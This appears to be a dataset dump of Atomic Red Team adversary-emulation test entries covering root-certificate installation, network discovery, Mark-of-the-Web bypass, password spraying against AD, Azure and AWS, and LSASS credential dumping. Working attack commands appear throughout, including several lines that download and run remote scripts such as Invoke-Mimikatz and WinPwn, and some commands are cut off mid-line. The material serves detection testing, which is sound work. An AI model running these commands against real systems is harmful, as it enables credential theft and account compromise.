deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Install root CA on Windows with certutil
Platforms: windows
Executor: powershell

Description:
Creates a root CA with certutil


Command:
certutil -addstore my #{pfx_path}


Cleanup:
try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -E

Dependencies:
Certificate must exist at specified location (#{pfx_path})
Atomic Red Team — T1553.004: Subvert Trust Controls: Install Root Certificate
Test: Add Root Certificate to CurrentUser Certificate Store
Platforms: windows
Executor: powershell

Description:
The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec


Command:
IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) 


Cleanup:
Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Network Connections Discovery
Platforms: windows
Executor: command_prompt

Description:
Get a listing of network connections.

Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.


Command:
netstat -ano
net use
net sessions 2>nul
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Network Connections Discovery with PowerShell
Platforms: windows
Executor: powershell

Description:
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.


Command:
Get-NetTCPConnection
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Network Connections Discovery via PowerShell (Process Mapping)
Platforms: windows
Executor: powershell

Description:
Enumerate TCP connections and map to owning process names via PowerShell.


Command:
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Network Connections Discovery via ss or lsof (Linux/MacOS)
Platforms: linux, macos
Executor: bash

Description:
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.


Command:
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Network Connections Discovery FreeBSD, Linux & MacOS
Platforms: linux, macos
Executor: sh

Description:
Get a listing of network connections.

Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.


Command:
netstat
who -a


Dependencies:
Check if netstat command exists on the machine
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Network Connections Discovery via sockstat (Linux, FreeBSD)
Platforms: linux
Executor: sh

Description:
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.


Command:
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
Atomic Red Team — T1049: System Network Connections Discovery
Test: System Discovery using SharpView
Platforms: windows
Executor: powershell

Description:
Get a listing of network connections, domains, domain users, and etc.  
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.


Command:
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}


Dependencies:
Sharpview.exe must exist on disk at specified location (#{SharpView})
Atomic Red Team — T1553.005: Subvert Trust Controls: Mark-of-the-Web Bypass
Test: Mount ISO image
Platforms: windows
Executor: powershell

Description:
Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/


Command:
Mount-DiskImage -ImagePath "#{path_of_iso}"


Cleanup:
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null


Dependencies:
T1553.005.iso must exist on disk at specified location (#{path_of_iso})
Atomic Red Team — T1553.005: Subvert Trust Controls: Mark-of-the-Web Bypass
Test: Mount an ISO image and run executable from the ISO
Platforms: windows
Executor: powershell

Description:
Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. 
Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". 
ISO provided by:https://twitter.com/mattifestation/status/[PII_REDACTED]88399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/,  

Command:
Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "TestIso"
$driveLetter = ($keep | Get-Volume).DriveLetter
invoke-item "$($driveLetter):\hello.exe"


Cleanup:
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
Stop-process -name "hello" -Force -ErrorAction ignore


Dependencies:
FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})
Atomic Red Team — T1553.005: Subvert Trust Controls: Mark-of-the-Web Bypass
Test: Remove the Zone.Identifier alternate data stream
Platforms: windows
Executor: powershell

Description:
Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.


Command:
Unblock-File -Path #{file_path}


Cleanup:
Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'


Dependencies:
A test file with the Zone.Identifier attribute must be present.
Atomic Red Team — T1553.005: Subvert Trust Controls: Mark-of-the-Web Bypass
Test: Execute LNK file from ISO
Platforms: windows
Executor: powershell

Description:
Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.


Command:
Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "AllTheThings"
$driveLetter = ($keep | Get-Volume).DriveLetter
$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
$instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)


Cleanup:
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null


Dependencies:
AllTheThings.iso must exist on disk at specified location (#{path_of_iso})
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password Spray all Domain Users
Platforms: windows
Executor: command_prompt

Description:
CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.
Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5

Command:
@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL


Dependencies:
List of domain users to password spray must exits at %temp%\users.txt
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password Spray (DomainPasswordSpray)
Platforms: windows
Executor: powershell

Description:
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
Platforms: windows
Executor: powershell

Description:
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)


Command:
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

$DomainUsers | Foreach-Object {
  $user = $_
  $password = '#{password}'

  $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]:
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password spray all Azure AD users with a single password
Platforms: azure-ad
Executor: powershell

Description:
Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
Valid credentials are only needed to fetch the list of Azure AD users.


Command:
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
Connect-AzureAD -Credential $Credential > $null

($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force

$Users | Foreach-Object {
  $user = $_.UserPrincipalName
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
  try {
    Write-Host " [-] Attempting #{password} on account ${user}."
    Connect-AzureAD -Credential $Credential 2>&1> $null
    # if credentials aren't correct, it will break just above and goes into catch

Dependencies:
AzureAD module must be installed.
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: WinPwn - DomainPasswordSpray Attacks
Platforms: windows
Executor: powershell

Description:
DomainPasswordSpray Attacks technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
domainpassspray -consoleoutput -noninteractive -emptypasswords
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password Spray Invoke-DomainPasswordSpray Light
Platforms: windows
Executor: powershell

Description:
Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) 
but without all the extra code that makes the script get blocked by many AVs. 
This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually
or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.


Command:
function Invoke-dpsLight ($Password, $userlist) {
$users = Get-Content $userlist
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
foreach ($User in $users) {
  $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
  if ($Domain_check.name -ne $null) {
    Write-Host -ForegroundColor Green "Password found for User:$User [CREDENTIAL_REDACTED]"
  }
  else { Write-Host ". " -NoNewline}
}
Write-Host -ForegroundColor green "Finished"
}
Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt


Dependencies:
Username file must exist at $env:Temp\usersdpsLight.txt
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)
Platforms: azure-ad
Executor: powershell

Description:
This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.


Command:
import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"


Dependencies:
MSOLSpray module must exist in PathToAtomicsFolder\..\ExternalPayloads.
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: Password Spray using Kerbrute Tool
Platforms: windows
Executor: powershell

Description:
Test a single password against a list of users


Command:
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132 


Dependencies:
kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads

passwordspray.txt must exist in PathToAtomicsFolder\..\ExternalPayloads
Atomic Red Team — T1110.003: Brute Force: Password Spraying
Test: AWS - Password Spray an AWS using GoAWSConsoleSpray
Platforms: iaas:aws
Executor: sh

Description:
GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/


Command:
cd /tmp
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
cd /tmp/GoAWSConsoleSpray
go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt


Cleanup:
rm -rf /tmp/GoAWSConsoleSpray


Dependencies:
Check if go is installed
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory using ProcDump
Platforms: windows
Executor: command_prompt

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.


Command:
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}


Cleanup:
del "#{output_file}" >nul 2> nul


Dependencies:
ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory using comsvcs.dll
Platforms: windows
Executor: powershell

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.


Command:
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full


Cleanup:
Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory using direct system calls and API unhooking
Platforms: windows
Executor: command_prompt

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. 
https://github.com/outflanknl/Dumpert
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp.

If you see a message saying \"The system cannot find the path specified.\", try using the  get-prereq_commands to download the  tool first.


Command:
"#{dumpert_exe}"


Cleanup:
del C:\windows\temp\dumpert.dmp >nul 2> nul


Dependencies:
Dumpert executable must exist on disk at specified location (#{dumpert_exe})
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory using NanoDump
Platforms: windows
Executor: command_prompt

Description:
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory


Command:
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"


Cleanup:
del "%temp%\nanodump.dmp" >nul 2> nul


Dependencies:
NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory using Windows Task Manager
Platforms: windows
Executor: manual

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Offline Credential Theft With Mimikatz
Platforms: windows
Executor: command_prompt

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.


Command:
"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit


Dependencies:
Mimikatz must exist on disk at specified location (#{mimikatz_exe})

Lsass dump must exist at specified location (#{input_file})
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: LSASS read with pypykatz
Platforms: windows
Executor: command_prompt

Description:
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.


Command:
"#{venv_path}\Scripts\pypykatz" live lsa 


Cleanup:
del "%temp%\nanodump.dmp" > nul 2> nul


Dependencies:
Computer must have python 3 installed

Computer must have venv configured at #{venv_path}

pypykatz must be installed
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory using Out-Minidump.ps1
Platforms: windows
Executor: powershell

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump


Cleanup:
Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Create Mini Dump of LSASS.exe using ProcDump
Platforms: windows
Executor: command_prompt

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.


Command:
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}


Cleanup:
del "#{output_file}" >nul 2> nul


Dependencies:
ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Powershell Mimikatz
Platforms: windows
Executor: powershell

Description:
Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. 
Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"


Command:
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds